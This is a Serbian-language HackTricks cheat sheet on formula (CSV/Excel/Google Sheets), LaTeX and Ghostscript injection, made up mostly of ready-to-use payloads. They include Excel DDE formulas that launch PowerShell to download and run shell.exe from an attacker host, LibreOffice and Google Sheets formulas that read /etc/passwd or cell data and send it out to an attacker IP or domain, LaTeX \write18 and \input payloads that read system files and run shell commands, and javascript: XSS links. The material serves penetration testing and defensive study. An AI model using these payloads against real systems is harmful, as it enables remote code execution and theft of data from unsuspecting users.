Formula/CSV/Doc/LaTeX/GhostScript Injection
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Formula Injection
Info
Ako je vaš ulaz reflektovan unutar CSV datoteka (ili bilo koje druge datoteke koja će verovatno biti otvorena u Excelu), možda ćete moći da stavite formule u Excel koje će biti izvršene kada korisnik otvori datoteku ili kada korisnik klikne na neki link unutar Excel tabele.
caution
Danas Excel će upozoriti (više puta) korisnika kada se nešto učita izvan Excela kako bi ga sprečio od malicioznih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na konačni payload.
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog excel lista i za slanje zahteva na proizvoljne lokacije. Ali zahteva da korisnik klikne na link (i prihvati upozorenja).
Sledeći primer je preuzet sa https://payatu.com/csv-injection-basic-to-exploit
Zamislite bezbednosni propust u sistemu za upravljanje podacima o studentima koji se eksploatiše putem napada CSV injekcijom. Primarna namera napadača je da kompromituje sistem koji koriste nastavnici za upravljanje podacima o studentima. Metoda uključuje napadača koji ubacuje zloćudni payload u aplikaciju, posebno tako što unosi štetne formule u polja namenjena podacima o studentima. Napad se odvija na sledeći način:
- Injekcija zloćudnog payload-a:
- Napadač šalje obrazac za podatke o studentu, ali uključuje formulu koja se obično koristi u tabelama (npr.,
=HYPERLINK("<malicious_link>","Click here")
). - Ova formula je dizajnirana da kreira hyperlink, ali upućuje na zloćudni server koji kontroliše napadač.
- Izvoz kompromitovanih podataka:
- Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije za izvoz podataka u CSV datoteku.
- CSV datoteka, kada se otvori, i dalje sadrži zloćudni payload. Ovaj payload se pojavljuje kao klikabilni hyperlink u tabeli.
- Aktiviranje napada:
- Nastavnik klikne na hyperlink, verujući da je to legitimni deo podataka o studentu.
- Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača.
- Zapisivanje podataka:
- Server napadača prima i beleži osetljive podatke poslati sa računara nastavnika.
- Napadač može zatim koristiti ove podatke za razne zloćudne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.
RCE
Proverite originalni post za više detalja.
U specifičnim konfiguracijama ili starijim verzijama Excela, funkcija pod nazivom Dynamic Data Exchange (DDE) može se iskoristiti za izvršavanje proizvoljnih komandi. Da bi se to iskoristilo, sledeće postavke moraju biti omogućene:
- Idite na File → Options → Trust Center → Trust Center Settings → External Content, i omogućite Dynamic Data Exchange Server Launch.
Kada se otvori tabela sa zloćudnim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, za pokretanje aplikacije kalkulatora, payload bi bio:
=cmd|' /C calc'!xxx
Dodatne komande se takođe mogu izvršiti, kao što je preuzimanje i izvršavanje datoteke koristeći PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Lokalna Uključenost Datoteka (LFI) u LibreOffice Calc
LibreOffice Calc se može koristiti za čitanje lokalnih datoteka i eksfiltraciju podataka. Evo nekoliko metoda:
- Čitanje prve linije iz lokalne
/etc/passwd
datoteke:='file:///etc/passwd'#$passwd.A1
- Eksfiltracija pročitanih podataka na server pod kontrolom napadača:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Eksfiltracija više od jedne linije:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS eksfiltracija (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets za Eksfiltraciju Podataka van Kanala (OOB)
Google Sheets nudi funkcije koje se mogu iskoristiti za OOB eksfiltraciju podataka:
- CONCATENATE: Spaja stringove -
=CONCATENATE(A2:E2)
- IMPORTXML: Uvozi podatke iz strukturiranih tipova podataka -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Uvozi RSS ili ATOM feedove -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Uvozi podatke iz HTML tabela ili listi -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Uvozi opseg ćelija iz druge tabele -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Umeće sliku u ćeliju -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injekcija
Obično serveri koji se nalaze na internetu koji konvertuju LaTeX kod u PDF koriste pdflatex
.
Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi:
--no-shell-escape
: Onemogućava konstrukciju\write18{command}
, čak i ako je omogućena u texmf.cnf datoteci.--shell-restricted
: Isto kao--shell-escape
, ali ograničeno na 'siguran' skup predefinisanih **komandi (**Na Ubuntu 16.04 lista je u/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Omogućava konstrukciju\write18{command}
. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično onemogućena iz bezbednosnih razloga.
Međutim, postoje i drugi načini za izvršavanje komandi, pa je veoma važno koristiti --shell-restricted
kako bi se izbeglo RCE.
Čitaj datoteku
Možda ćete morati da prilagodite injekciju sa omotačima kao [ ili $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Čitanje datoteke sa jednim redom
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Čitanje datoteke sa više redova
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Napiši datoteku
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Izvršenje komande
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste ga dobili.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Ako dobijete bilo koju LaTex grešku, razmislite o korišćenju base64 da dobijete rezultat bez loših karaktera.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Od @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Proveri https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Reference
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.